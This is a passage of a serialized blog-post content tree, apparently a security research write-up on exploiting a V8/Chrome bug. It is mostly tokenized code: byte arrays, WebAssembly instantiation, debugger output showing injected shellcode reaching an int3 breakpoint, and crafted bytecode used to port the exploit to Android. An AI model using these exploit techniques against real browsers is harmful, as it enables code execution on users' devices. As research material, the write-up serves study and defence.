ype":29,"value":133},{"type":24,"tag":90,"props":136868,"children":136869},{"style":349},[136870],{"type":29,"value":6408},{"type":24,"tag":90,"props":136872,"children":136873},{"style":114},[136874],{"type":29,"value":133},{"type":24,"tag":90,"props":136876,"children":136877},{"style":349},[136878],{"type":29,"value":6408},{"type":24,"tag":90,"props":136880,"children":136881},{"style":114},[136882],{"type":29,"value":133},{"type":24,"tag":90,"props":136884,"children":136885},{"style":349},[136886],{"type":29,"value":6408},{"type":24,"tag":90,"props":136888,"children":136889},{"style":114},[136890],{"type":29,"value":133},{"type":24,"tag":90,"props":136892,"children":136893},{"style":349},[136894],{"type":29,"value":6408},{"type":24,"tag":90,"props":136896,"children":136897},{"style":114},[136898],{"type":29,"value":133},{"type":24,"tag":90,"props":136900,"children":136901},{"style":349},[136902],{"type":29,"value":6408},{"type":24,"tag":90,"props":136904,"children":136905},{"style":114},[136906],{"type":29,"value":133},{"type":24,"tag":90,"props":136908,"children":136909},{"style":349},[136910],{"type":29,"value":6408},{"type":24,"tag":90,"props":136912,"children":136913},{"style":114},[136914],{"type":29,"value":133},{"type":24,"tag":90,"props":136916,"children":136917},{"style":349},[136918],{"type":29,"value":6408},{"type":24,"tag":90,"props":136920,"children":136921},{"style":114},[136922],{"type":29,"value":133},{"type":24,"tag":90,"props":136924,"children":136925},{"style":349},[136926],{"type":29,"value":6408},{"type":24,"tag":90,"props":136928,"children":136929},{"style":114},[136930],{"type":29,"value":133},{"type":24,"tag":90,"props":136932,"children":136933},{"style":349},[136934],{"type":29,"value":6408},{"type":24,"tag":90,"props":136936,"children":136937},{"style":114},[136938],{"type":29,"value":133},{"type":24,"tag":90,"props":136940,"children":136941},{"style":349},[136942],{"type":29,"value":6408},{"type":24,"tag":90,"props":136944,"children":136945},{"style":114},[136946],{"type":29,"value":133},{"type":24,"tag":90,"props":136948,"children":136949},{"style":349},[136950],{"type":29,"value":6408},{"type":24,"tag":90,"props":136952,"children":136953},{"style":114},[136954],{"type":29,"value":133},{"type":24,"tag":90,"props":136956,"children":136957},{"style":349},[136958],{"type":29,"value":31234},{"type":24,"tag":90,"props":136960,"children":136961},{"style":114},[136962],{"type":29,"value":133},{"type":24,"tag":90,"props":136964,"children":136965},{"style":349},[136966],{"type":29,"value":6408},{"type":24,"tag":90,"props":136968,"children":136969},{"style":114},[136970],{"type":29,"value":133},{"type":24,"tag":90,"props":136972,"children":136973},{"style":349},[136974],{"type":29,"value":6408},{"type":24,"tag":90,"props":136976,"children":136977},{"style":114},[136978],{"type":29,"value":133},{"type":24,"tag":90,"props":136980,"children":136981},{"style":349},[136982],{"type":29,"value":6408},{"type":24,"tag":90,"props":136984,"children":136985},{"style":114},[136986],{"type":29,"value":133},{"type":24,"tag":90,"props":136988,"children":136989},{"style":349},[136990],{"type":29,"value":6408},{"type":24,"tag":90,"props":136992,"children":136993},{"style":114},[136994],{"type":29,"value":133},{"type":24,"tag":90,"props":136996,"children":136997},{"style":349},[136998],{"type":29,"value":6408},{"type":24,"tag":90,"props":137000,"children":137001},{"style":114},[137002],{"type":29,"value":133},{"type":24,"tag":90,"props":137004,"children":137005},{"style":349},[137006],{"type":29,"value":6408},{"type":24,"tag":90,"props":137008,"children":137009},{"style":114},[137010],{"type":29,"value":133},{"type":24,"tag":90,"props":137012,"children":137013},{"style":349},[137014],{"type":29,"value":6408},{"type":24,"tag":90,"props":137016,"children":137017},{"style":114},[137018],{"type":29,"value":133},{"type":24,"tag":90,"props":137020,"children":137021},{"style":349},[137022],{"type":29,"value":6408},{"type":24,"tag":90,"props":137024,"children":137025},{"style":114},[137026],{"type":29,"value":133},{"type":24,"tag":90,"props":137028,"children":137029},{"style":349},[137030],{"type":29,"value":6408},{"type":24,"tag":90,"props":137032,"children":137033},{"style":114},[137034],{"type":29,"value":133},{"type":24,"tag":90,"props":137036,"children":137037},{"style":349},[137038],{"type":29,"value":6408},{"type":24,"tag":90,"props":137040,"children":137041},{"style":114},[137042],{"type":29,"value":133},{"type":24,"tag":90,"props":137044,"children":137045},{"style":349},[137046],{"type":29,"value":6408},{"type":24,"tag":90,"props":137048,"children":137049},{"style":114},[137050],{"type":29,"value":133},{"type":24,"tag":90,"props":137052,"children":137053},{"style":349},[137054],{"type":29,"value":6408},{"type":24,"tag":90,"props":137056,"children":137057},{"style":114},[137058],{"type":29,"value":748},{"type":24,"tag":90,"props":137060,"children":137061},{"class":92,"line":428},[137062,137066,137070,137074,137078,137082,137086,137090,137094,137098,137102,137106,137110,137114,137118,137122,137126,137130,137134,137138,137142,137146,137150,137154,137158,137162,137166,137170,137174,137178,137182,137186,137190,137195,137199,137203,137207,137212,137216,137221,137225,137230,137234,137238,137242,137247,137251,137255,137259,137264,137268,137272,137276,137281],{"type":24,"tag":90,"props":137063,"children":137064},{"style":349},[137065],{"type":29,"value":136027},{"type":24,"tag":90,"props":137067,"children":137068},{"style":114},[137069],{"type":29,"value":133},{"type":24,"tag":90,"props":137071,"children":137072},{"style":349},[137073],{"type":29,"value":6408},{"type":24,"tag":90,"props":137075,"children":137076},{"style":114},[137077],{"type":29,"value":133},{"type":24,"tag":90,"props":137079,"children":137080},{"style":349},[137081],{"type":29,"value":6408},{"type":24,"tag":90,"props":137083,"children":137084},{"style":114},[137085],{"type":29,"value":133},{"type":24,"tag":90,"props":137087,"children":137088},{"style":349},[137089],{"type":29,"value":6408},{"type":24,"tag":90,"props":137091,"children":137092},{"style":114},[137093],{"type":29,"value":133},{"type":24,"tag":90,"props":137095,"children":137096},{"style":349},[137097],{"type":29,"value":6408},{"type":24,"tag":90,"props":137099,"children":137100},{"style":114},[137101],{"type":29,"value":133},{"type":24,"tag":90,"props":137103,"children":137104},{"style":349},[137105],{"type":29,"value":6408},{"type":24,"tag":90,"props":137107,"children":137108},{"style":114},[137109],{"type":29,"value":133},{"type":24,"tag":90,"props":137111,"children":137112},{"style":349},[137113],{"type":29,"value":6408},{"type":24,"tag":90,"props":137115,"children":137116},{"style":114},[137117],{"type":29,"value":133},{"type":24,"tag":90,"props":137119,"children":137120},{"style":349},[137121],{"type":29,"value":6408},{"type":24,"tag":90,"props":137123,"children":137124},{"style":114},[137125],{"type":29,"value":133},{"type":24,"tag":90,"props":137127,"children":137128},{"style":349},[137129],{"type":29,"value":6408},{"type":24,"tag":90,"props":137131,"children":137132},{"style":114},[137133],{"type":29,"value":133},{"type":24,"tag":90,"props":137135,"children":137136},{"style":349},[137137],{"type":29,"value":6408},{"type":24,"tag":90,"props":137139,"children":137140},{"style":114},[137141],{"type":29,"value":133},{"type":24,"tag":90,"props":137143,"children":137144},{"style":349},[137145],{"type":29,"value":6408},{"type":24,"tag":90,"props":137147,"children":137148},{"style":114},[137149],{"type":29,"value":133},{"type":24,"tag":90,"props":137151,"children":137152},{"style":349},[137153],{"type":29,"value":6408},{"type":24,"tag":90,"props":137155,"children":137156},{"style":114},[137157],{"type":29,"value":133},{"type":24,"tag":90,"props":137159,"children":137160},{"style":349},[137161],{"type":29,"value":6408},{"type":24,"tag":90,"props":137163,"children":137164},{"style":114},[137165],{"type":29,"value":133},{"type":24,"tag":90,"props":137167,"children":137168},{"style":349},[137169],{"type":29,"value":6408},{"type":24,"tag":90,"props":137171,"children":137172},{"style":114},[137173],{"type":29,"value":133},{"type":24,"tag":90,"props":137175,"children":137176},{"style":349},[137177],{"type":29,"value":6408},{"type":24,"tag":90,"props":137179,"children":137180},{"style":114},[137181],{"type":29,"value":133},{"type":24,"tag":90,"props":137183,"children":137184},{"style":349},[137185],{"type":29,"value":3191},{"type":24,"tag":90,"props":137187,"children":137188},{"style":114},[137189],{"type":29,"value":133},{"type":24,"tag":90,"props":137191,"children":137192},{"style":349},[137193],{"type":29,"value":137194},"204",{"type":24,"tag":90,"props":137196,"children":137197},{"style":114},[137198],{"type":29,"value":133},{"type":24,"tag":90,"props":137200,"children":137201},{"style":349},[137202],{"type":29,"value":46599},{"type":24,"tag":90,"props":137204,"children":137205},{"style":114},[137206],{"type":29,"value":133},{"type":24,"tag":90,"props":137208,"children":137209},{"style":349},[137210],{"type":29,"value":137211},"137",{"type":24,"tag":90,"props":137213,"children":137214},{"style":114},[137215],{"type":29,"value":133},{"type":24,"tag":90,"props":137217,"children":137218},{"style":349},[137219],{"type":29,"value":137220},"229",{"type":24,"tag":90,"props":137222,"children":137223},{"style":114},[137224],{"type":29,"value":133},{"type":24,"tag":90,"props":137226,"children":137227},{"style":349},[137228],{"type":29,"value":137229},"106",{"type":24,"tag":90,"props":137231,"children":137232},{"style":114},[137233],{"type":29,"value":133},{"type":24,"tag":90,"props":137235,"children":137236},{"style":349},[137237],{"type":29,"value":352},{"type":24,"tag":90,"props":137239,"children":137240},{"style":114},[137241],{"type":29,"value":133},{"type":24,"tag":90,"props":137243,"children":137244},{"style":349},[137245],{"type":29,"value":137246},"86",{"type":24,"tag":90,"props":137248,"children":137249},{"style":114},[137250],{"type":29,"value":133},{"type":24,"tag":90,"props":137252,"children":137253},{"style":349},[137254],{"type":29,"value":46599},{"type":24,"tag":90,"props":137256,"children":137257},{"style":114},[137258],{"type":29,"value":133},{"type":24,"tag":90,"props":137260,"children":137261},{"style":349},[137262],{"type":29,"value":137263},"139",{"type":24,"tag":90,"props":137265,"children":137266},{"style":114},[137267],{"type":29,"value":133},{"type":24,"tag":90,"props":137269,"children":137270},{"style":349},[137271],{"type":29,"value":137220},{"type":24,"tag":90,"props":137273,"children":137274},{"style":114},[137275],{"type":29,"value":133},{"type":24,"tag":90,"props":137277,"children":137278},{"style":349},[137279],{"type":29,"value":137280},"93",{"type":24,"tag":90,"props":137282,"children":137283},{"style":114},[137284],{"type":29,"value":748},{"type":24,"tag":90,"props":137286,"children":137287},{"class":92,"line":437},[137288,137293,137297,137301,137305,137309,137313,137317,137321,137325,137329,137333,137337,137341,137345,137349,137353,137357,137361,137365,137369,137373,137377,137381,137385,137389,137393,137397,137401,137405,137409,137413,137417,137421,137425,137429,137433,137437,137441,137445,137449,137453,137457,137461,137465,137469,137473,137477,137481,137485,137489,137493,137497,137501,137505,137509,137513,137517,137521,137525],{"type":24,"tag":90,"props":137289,"children":137290},{"style":349},[137291],{"type":29,"value":137292}," 195",{"type":24,"tag":90,"props":137294,"children":137295},{"style":114},[137296],{"type":29,"value":133},{"type":24,"tag":90,"props":137298,"children":137299},{"style":349},[137300],{"type":29,"value":46127},{"type":24,"tag":90,"props":137302,"children":137303},{"style":114},[137304],{"type":29,"value":133},{"type":24,"tag":90,"props":137306,"children":137307},{"style":349},[137308],{"type":29,"value":61439},{"type":24,"tag":90,"props":137310,"children":137311},{"style":114},[137312],{"type":29,"value":133},{"type":24,"tag":90,"props":137314,"children":137315},{"style":349},[137316],{"type":29,"value":98497},{"type":24,"tag":90,"props":137318,"children":137319},{"style":114},[137320],{"type":29,"value":133},{"type":24,"tag":90,"props":137322,"children":137323},{"style":349},[137324],{"type":29,"value":6408},{"type":24,"tag":90,"props":137326,"children":137327},{"style":114},[137328],{"type":29,"value":133},{"type":24,"tag":90,"props":137330,"children":137331},{"style":349},[137332],{"type":29,"value":4051},{"type":24,"tag":90,"props":137334,"children":137335},{"style":114},[137336],{"type":29,"value":133},{"type":24,"tag":90,"props":137338,"children":137339},{"style":349},[137340],{"type":29,"value":6408},{"type":24,"tag":90,"props":137342,"children":137343},{"style":114},[137344],{"type":29,"value":133},{"type":24,"tag":90,"props":137346,"children":137347},{"style":349},[137348],{"type":29,"value":6408},{"type":24,"tag":90,"props":137350,"children":137351},{"style":114},[137352],{"type":29,"value":133},{"type":24,"tag":90,"props":137354,"children":137355},{"style":349},[137356],{"type":29,"value":6408},{"type":24,"tag":90,"props":137358,"children":137359},{"style":114},[137360],{"type":29,"value":133},{"type":24,"tag":90,"props":137362,"children":137363},{"style":349},[137364],{"type":29,"value":6408},{"type":24,"tag":90,"props":137366,"children":137367},{"style":114},[137368],{"type":29,"value":133},{"type":24,"tag":90,"props":137370,"children":137371},{"style":349},[137372],{"type":29,"value":6408},{"type":24,"tag":90,"props":137374,"children":137375},{"style":114},[137376],{"type":29,"value":133},{"type":24,"tag":90,"props":137378,"children":137379},{"style":349},[137380],{"type":29,"value":6408},{"type":24,"tag":90,"props":137382,"children":137383},{"style":114},[137384],{"type":29,"value":133},{"type":24,"tag":90,"props":137386,"children":137387},{"style":349},[137388],{"type":29,"value":6408},{"type":24,"tag":90,"props":137390,"children":137391},{"style":114},[137392],{"type":29,"value":133},{"type":24,"tag":90,"props":137394,"children":137395},{"style":349},[137396],{"type":29,"value":6408},{"type":24,"tag":90,"props":137398,"children":137399},{"style":114},[137400],{"type":29,"value":133},{"type":24,"tag":90,"props":137402,"children":137403},{"style":349},[137404],{"type":29,"value":4051},{"type":24,"tag":90,"props":137406,"children":137407},{"style":114},[137408],{"type":29,"value":133},{"type":24,"tag":90,"props":137410,"children":137411},{"style":349},[137412],{"type":29,"value":6408},{"type":24,"tag":90,"props":137414,"children":137415},{"style":114},[137416],{"type":29,"value":133},{"type":24,"tag":90,"props":137418,"children":137419},{"style":349},[137420],{"type":29,"value":6408},{"type":24,"tag":90,"props":137422,"children":137423},{"style":114},[137424],{"type":29,"value":133},{"type":24,"tag":90,"props":137426,"children":137427},{"style":349},[137428],{"type":29,"value":6408},{"type":24,"tag":90,"props":137430,"children":137431},{"style":114},[137432],{"type":29,"value":133},{"type":24,"tag":90,"props":137434,"children":137435},{"style":349},[137436],{"type":29,"value":6408},{"type":24,"tag":90,"props":137438,"children":137439},{"style":114},[137440],{"type":29,"value":133},{"type":24,"tag":90,"props":137442,"children":137443},{"style":349},[137444],{"type":29,"value":6408},{"type":24,"tag":90,"props":137446,"children":137447},{"style":114},[137448],{"type":29,"value":133},{"type":24,"tag":90,"props":137450,"children":137451},{"style":349},[137452],{"type":29,"value":6408},{"type":24,"tag":90,"props":137454,"children":137455},{"style":114},[137456],{"type":29,"value":133},{"type":24,"tag":90,"props":137458,"children":137459},{"style":349},[137460],{"type":29,"value":6408},{"type":24,"tag":90,"props":137462,"children":137463},{"style":114},[137464],{"type":29,"value":133},{"type":24,"tag":90,"props":137466,"children":137467},{"style":349},[137468],{"type":29,"value":6408},{"type":24,"tag":90,"props":137470,"children":137471},{"style":114},[137472],{"type":29,"value":133},{"type":24,"tag":90,"props":137474,"children":137475},{"style":349},[137476],{"type":29,"value":6408},{"type":24,"tag":90,"props":137478,"children":137479},{"style":114},[137480],{"type":29,"value":133},{"type":24,"tag":90,"props":137482,"children":137483},{"style":349},[137484],{"type":29,"value":6408},{"type":24,"tag":90,"props":137486,"children":137487},{"style":114},[137488],{"type":29,"value":133},{"type":24,"tag":90,"props":137490,"children":137491},{"style":349},[137492],{"type":29,"value":6408},{"type":24,"tag":90,"props":137494,"children":137495},{"style":114},[137496],{"type":29,"value":133},{"type":24,"tag":90,"props":137498,"children":137499},{"style":349},[137500],{"type":29,"value":6408},{"type":24,"tag":90,"props":137502,"children":137503},{"style":114},[137504],{"type":29,"value":133},{"type":24,"tag":90,"props":137506,"children":137507},{"style":349},[137508],{"type":29,"value":6408},{"type":24,"tag":90,"props":137510,"children":137511},{"style":114},[137512],{"type":29,"value":133},{"type":24,"tag":90,"props":137514,"children":137515},{"style":349},[137516],{"type":29,"value":6408},{"type":24,"tag":90,"props":137518,"children":137519},{"style":114},[137520],{"type":29,"value":133},{"type":24,"tag":90,"props":137522,"children":137523},{"style":349},[137524],{"type":29,"value":6408},{"type":24,"tag":90,"props":137526,"children":137527},{"style":114},[137528],{"type":29,"value":748},{"type":24,"tag":90,"props":137530,"children":137531},{"class":92,"line":574},[137532,137536,137540,137544,137548,137552,137556,137560,137564,137568,137572,137576,137580,137584,137588,137592,137596,137600,137604,137608,137612,137616,137620,137624,137628,137632,137636,137640,137644,137648,137652,137656,137660,137664,137668,137672,137676,137680,137684,137688,137692,137696,137700,137704,137708,137712,137716,137720,137724,137728,137732,137737,137741,137745],{"type":24,"tag":90,"props":137533,"children":137534},{"style":349},[137535],{"type":29,"value":136027},{"type":24,"tag":90,"props":137537,"children":137538},{"style":114},[137539],{"type":29,"value":133},{"type":24,"tag":90,"props":137541,"children":137542},{"style":349},[137543],{"type":29,"value":6408},{"type":24,"tag":90,"props":137545,"children":137546},{"style":114},[137547],{"type":29,"value":133},{"type":24,"tag":90,"props":137549,"children":137550},{"style":349},[137551],{"type":29,"value":6408},{"type":24,"tag":90,"props":137553,"children":137554},{"style":114},[137555],{"type":29,"value":133},{"type":24,"tag":90,"props":137557,"children":137558},{"style":349},[137559],{"type":29,"value":6408},{"type":24,"tag":90,"props":137561,"children":137562},{"style":114},[137563],{"type":29,"value":133},{"type":24,"tag":90,"props":137565,"children":137566},{"style":349},[137567],{"type":29,"value":6408},{"type":24,"tag":90,"props":137569,"children":137570},{"style":114},[137571],{"type":29,"value":133},{"type":24,"tag":90,"props":137573,"children":137574},{"style":349},[137575],{"type":29,"value":6408},{"type":24,"tag":90,"props":137577,"children":137578},{"style":114},[137579],{"type":29,"value":133},{"type":24,"tag":90,"props":137581,"children":137582},{"style":349},[137583],{"type":29,"value":6408},{"type":24,"tag":90,"props":137585,"children":137586},{"style":114},[137587],{"type":29,"value":133},{"type":24,"tag":90,"props":137589,"children":137590},{"style":349},[137591],{"type":29,"value":6408},{"type":24,"tag":90,"props":137593,"children":137594},{"style":114},[137595],{"type":29,"value":133},{"type":24,"tag":90,"props":137597,"children":137598},{"style":349},[137599],{"type":29,"value":6408},{"type":24,"tag":90,"props":137601,"children":137602},{"style":114},[137603],{"type":29,"value":133},{"type":24,"tag":90,"props":137605,"children":137606},{"style":349},[137607],{"type":29,"value":6408},{"type":24,"tag":90,"props":137609,"children":137610},{"style":114},[137611],{"type":29,"value":133},{"type":24,"tag":90,"props":137613,"children":137614},{"style":349},[137615],{"type":29,"value":6408},{"type":24,"tag":90,"props":137617,"children":137618},{"style":114},[137619],{"type":29,"value":133},{"type":24,"tag":90,"props":137621,"children":137622},{"style":349},[137623],{"type":29,"value":6408},{"type":24,"tag":90,"props":137625,"children":137626},{"style":114},[137627],{"type":29,"value":133},{"type":24,"tag":90,"props":137629,"children":137630},{"style":349},[137631],{"type":29,"value":6408},{"type":24,"tag":90,"props":137633,"children":137634},{"style":114},[137635],{"type":29,"value":133},{"type":24,"tag":90,"props":137637,"children":137638},{"style":349},[137639],{"type":29,"value":6408},{"type":24,"tag":90,"props":137641,"children":137642},{"style":114},[137643],{"type":29,"value":133},{"type":24,"tag":90,"props":137645,"children":137646},{"style":349},[137647],{"type":29,"value":6408},{"type":24,"tag":90,"props":137649,"children":137650},{"style":114},[137651],{"type":29,"value":133},{"type":24,"tag":90,"props":137653,"children":137654},{"style":349},[137655],{"type":29,"value":6408},{"type":24,"tag":90,"props":137657,"children":137658},{"style":114},[137659],{"type":29,"value":133},{"type":24,"tag":90,"props":137661,"children":137662},{"style":349},[137663],{"type":29,"value":6408},{"type":24,"tag":90,"props":137665,"children":137666},{"style":114},[137667],{"type":29,"value":133},{"type":24,"tag":90,"props":137669,"children":137670},{"style":349},[137671],{"type":29,"value":6408},{"type":24,"tag":90,"props":137673,"children":137674},{"style":114},[137675],{"type":29,"value":133},{"type":24,"tag":90,"props":137677,"children":137678},{"style":349},[137679],{"type":29,"value":6408},{"type":24,"tag":90,"props":137681,"children":137682},{"style":114},[137683],{"type":29,"value":133},{"type":24,"tag":90,"props":137685,"children":137686},{"style":349},[137687],{"type":29,"value":6408},{"type":24,"tag":90,"props":137689,"children":137690},{"style":114},[137691],{"type":29,"value":133},{"type":24,"tag":90,"props":137693,"children":137694},{"style":349},[137695],{"type":29,"value":6408},{"type":24,"tag":90,"props":137697,"children":137698},{"style":114},[137699],{"type":29,"value":133},{"type":24,"tag":90,"props":137701,"children":137702},{"style":349},[137703],{"type":29,"value":6408},{"type":24,"tag":90,"props":137705,"children":137706},{"style":114},[137707],{"type":29,"value":133},{"type":24,"tag":90,"props":137709,"children":137710},{"style":349},[137711],{"type":29,"value":6408},{"type":24,"tag":90,"props":137713,"children":137714},{"style":114},[137715],{"type":29,"value":133},{"type":24,"tag":90,"props":137717,"children":137718},{"style":349},[137719],{"type":29,"value":31234},{"type":24,"tag":90,"props":137721,"children":137722},{"style":114},[137723],{"type":29,"value":133},{"type":24,"tag":90,"props":137725,"children":137726},{"style":349},[137727],{"type":29,"value":137280},{"type":24,"tag":90,"props":137729,"children":137730},{"style":114},[137731],{"type":29,"value":133},{"type":24,"tag":90,"props":137733,"children":137734},{"style":349},[137735],{"type":29,"value":137736},"198",{"type":24,"tag":90,"props":137738,"children":137739},{"style":114},[137740],{"type":29,"value":133},{"type":24,"tag":90,"props":137742,"children":137743},{"style":349},[137744],{"type":29,"value":6408},{"type":24,"tag":90,"props":137746,"children":137747},{"style":114},[137748],{"type":29,"value":748},{"type":24,"tag":90,"props":137750,"children":137751},{"class":92,"line":606},[137752],{"type":24,"tag":90,"props":137753,"children":137754},{"style":114},[137755],{"type":29,"value":136314},{"type":24,"tag":90,"props":137757,"children":137758},{"class":92,"line":615},[137759,137763,137768,137772,137777,137781,137785,137789,137793,137797,137801],{"type":24,"tag":90,"props":137760,"children":137761},{"style":97},[137762],{"type":29,"value":10233},{"type":24,"tag":90,"props":137764,"children":137765},{"style":136},[137766],{"type":29,"value":137767}," r",{"type":24,"tag":90,"props":137769,"children":137770},{"style":120},[137771],{"type":29,"value":216},{"type":24,"tag":90,"props":137773,"children":137774},{"style":108},[137775],{"type":29,"value":137776}," bug",{"type":24,"tag":90,"props":137778,"children":137779},{"style":114},[137780],{"type":29,"value":117},{"type":24,"tag":90,"props":137782,"children":137783},{"style":136},[137784],{"type":29,"value":135645},{"type":24,"tag":90,"props":137786,"children":137787},{"style":114},[137788],{"type":29,"value":133},{"type":24,"tag":90,"props":137790,"children":137791},{"style":136},[137792],{"type":29,"value":126972},{"type":24,"tag":90,"props":137794,"children":137795},{"style":114},[137796],{"type":29,"value":226},{"type":24,"tag":90,"props":137798,"children":137799},{"style":136},[137800],{"type":29,"value":126972},{"type":24,"tag":90,"props":137802,"children":137803},{"style":114},[137804],{"type":29,"value":571},{"type":24,"tag":90,"props":137806,"children":137807},{"class":92,"line":623},[137808,137813,137817,137821,137825,137829,137833,137837,137842,137846],{"type":24,"tag":90,"props":137809,"children":137810},{"style":136},[137811],{"type":29,"value":137812}," result",{"type":24,"tag":90,"props":137814,"children":137815},{"style":120},[137816],{"type":29,"value":216},{"type":24,"tag":90,"props":137818,"children":137819},{"style":114},[137820],{"type":29,"value":1151},{"type":24,"tag":90,"props":137822,"children":137823},{"style":636},[137824],{"type":29,"value":34730},{"type":24,"tag":90,"props":137826,"children":137827},{"style":136},[137828],{"type":29,"value":137767},{"type":24,"tag":90,"props":137830,"children":137831},{"style":114},[137832],{"type":29,"value":226},{"type":24,"tag":90,"props":137834,"children":137835},{"style":108},[137836],{"type":29,"value":59390},{"type":24,"tag":90,"props":137838,"children":137839},{"style":114},[137840],{"type":29,"value":137841},"()).",{"type":24,"tag":90,"props":137843,"children":137844},{"style":136},[137845],{"type":29,"value":40968},{"type":24,"tag":90,"props":137847,"children":137848},{"style":114},[137849],{"type":29,"value":381},{"type":24,"tag":90,"props":137851,"children":137852},{"class":92,"line":632},[137853,137857,137862,137866,137870,137874,137878,137882,137886,137890],{"type":24,"tag":90,"props":137854,"children":137855},{"style":97},[137856],{"type":29,"value":38004},{"type":24,"tag":90,"props":137858,"children":137859},{"style":136},[137860],{"type":29,"value":137861}," wasm_instance",{"type":24,"tag":90,"props":137863,"children":137864},{"style":120},[137865],{"type":29,"value":216},{"type":24,"tag":90,"props":137867,"children":137868},{"style":97},[137869],{"type":29,"value":33746},{"type":24,"tag":90,"props":137871,"children":137872},{"style":136},[137873],{"type":29,"value":135628},{"type":24,"tag":90,"props":137875,"children":137876},{"style":114},[137877],{"type":29,"value":226},{"type":24,"tag":90,"props":137879,"children":137880},{"style":108},[137881],{"type":29,"value":135682},{"type":24,"tag":90,"props":137883,"children":137884},{"style":114},[137885],{"type":29,"value":117},{"type":24,"tag":90,"props":137887,"children":137888},{"style":136},[137889],{"type":29,"value":11456},{"type":24,"tag":90,"props":137891,"children":137892},{"style":114},[137893],{"type":29,"value":571},{"type":24,"tag":90,"props":137895,"children":137896},{"class":92,"line":669},[137897,137901,137905,137909,137913,137917,137921,137925,137929],{"type":24,"tag":90,"props":137898,"children":137899},{"style":97},[137900],{"type":29,"value":38004},{"type":24,"tag":90,"props":137902,"children":137903},{"style":136},[137904],{"type":29,"value":34785},{"type":24,"tag":90,"props":137906,"children":137907},{"style":120},[137908],{"type":29,"value":216},{"type":24,"tag":90,"props":137910,"children":137911},{"style":136},[137912],{"type":29,"value":137861},{"type":24,"tag":90,"props":137914,"children":137915},{"style":114},[137916],{"type":29,"value":226},{"type":24,"tag":90,"props":137918,"children":137919},{"style":136},[137920],{"type":29,"value":39702},{"type":24,"tag":90,"props":137922,"children":137923},{"style":114},[137924],{"type":29,"value":226},{"type":24,"tag":90,"props":137926,"children":137927},{"style":136},[137928],{"type":29,"value":135731},{"type":24,"tag":90,"props":137930,"children":137931},{"style":114},[137932],{"type":29,"value":381},{"type":24,"tag":90,"props":137934,"children":137935},{"class":92,"line":683},[137936,137941],{"type":24,"tag":90,"props":137937,"children":137938},{"style":108},[137939],{"type":29,"value":137940}," f",{"type":24,"tag":90,"props":137942,"children":137943},{"style":114},[137944],{"type":29,"value":236},{"type":24,"tag":90,"props":137946,"children":137947},{"class":92,"line":737},[137948],{"type":24,"tag":90,"props":137949,"children":137950},{"style":114},[137951],{"type":29,"value":103815},{"type":24,"tag":25,"props":137953,"children":137954},{},[137955],{"type":29,"value":137956},"Running this in a debugger shows the expected breakpoint:",{"type":24,"tag":80,"props":137958,"children":137960},{"code":137959},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[137961],{"type":24,"tag":32,"props":137962,"children":137963},{"__ignoreMap":7},[137964],{"type":29,"value":137959},{"type":24,"tag":1019,"props":137966,"children":137968},{"id":137967},"porting-to-android",[137969],{"type":29,"value":137970},"Porting to Android",{"type":24,"tag":25,"props":137972,"children":137973},{},[137974,137976,137981,137983,137988,137990,137995,137997,138003],{"type":29,"value":137975},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":24,"tag":32,"props":137977,"children":137979},{"className":137978},[],[137980],{"type":29,"value":134760},{"type":29,"value":137982}," fails. We cross-compiled ",{"type":24,"tag":32,"props":137984,"children":137986},{"className":137985},[],[137987],{"type":29,"value":133919},{"type":29,"value":137989}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":24,"tag":32,"props":137991,"children":137993},{"className":137992},[],[137994],{"type":29,"value":134760},{"type":29,"value":137996}," returned ",{"type":24,"tag":32,"props":137998,"children":138000},{"className":137999},[],[138001],{"type":29,"value":138002},"undefined",{"type":29,"value":226},{"type":24,"tag":25,"props":138005,"children":138006},{},[138007,138009,138014,138016,138021],{"type":29,"value":138008},"Instead, we modified the bytecode to call ",{"type":24,"tag":32,"props":138010,"children":138012},{"className":138011},[],[138013],{"type":29,"value":134786},{"type":29,"value":138015}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":24,"tag":32,"props":138017,"children":138019},{"className":138018},[],[138020],{"type":29,"value":134760},{"type":29,"value":226},{"type":24,"tag":80,"props":138023,"children":138025},{"code":138024,"language":37431,"meta":7,"className":37429,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[138026],{"type":24,"tag":32,"props":138027,"children":138028},{"__ignoreMap":7},[138029,138040,138084,138104,138120,138143,138170,138185],{"type":24,"tag":90,"props":138030,"children":138031},{"class":92,"line":93},[138032,138036],{"type":24,"tag":90,"props":138033,"children":138034},{"style":636},[138035],{"type":29,"value":50154},{"type":24,"tag":90,"props":138037,"children":138038},{"style":114},[138039],{"type":29,"value":269},{"type":24,"tag":90,"props":138041,"children":138042},{"class":92,"line":200},[138043,138047,138051,138055,138059,138063,138067,138072,138076,138080],{"type":24,"tag":90,"props":138044,"children":138045},{"style":136},[138046],{"type":29,"value":135027},{"type":24,"tag":90,"props":138048,"children":138049},{"style":114},[138050],{"type":29,"value":78448},{"type":24,"tag":90,"props":138052,"children":138053},{"style":1085},[138054],{"type":29,"value":135036},{"type":24,"tag":90,"props":138056,"children":138057},{"style":114},[138058],{"type":29,"value":226},{"type":24,"tag":90,"props":138060,"children":138061},{"style":108},[138062],{"type":29,"value":135045},{"type":24,"tag":90,"props":138064,"children":138065},{"style":114},[138066],{"type":29,"value":117},{"type":24,"tag":90,"props":138068,"children":138069},{"style":349},[138070],{"type":29,"value":138071},"0x059301",{"type":24,"tag":90,"props":138073,"children":138074},{"style":120},[138075],{"type":29,"value":53079},{"type":24,"tag":90,"props":138077,"children":138078},{"style":349},[138079],{"type":29,"value":6909},{"type":24,"tag":90,"props":138081,"children":138082},{"style":114},[138083],{"type":29,"value":135067},{"type":24,"tag":90,"props":138085,"children":138086},{"class":92,"line":239},[138087,138091,138095,138100],{"type":24,"tag":90,"props":138088,"children":138089},{"style":136},[138090],{"type":29,"value":135075},{"type":24,"tag":90,"props":138092,"children":138093},{"style":120},[138094],{"type":29,"value":1714},{"type":24,"tag":90,"props":138096,"children":138097},{"style":349},[138098],{"type":29,"value":138099}," 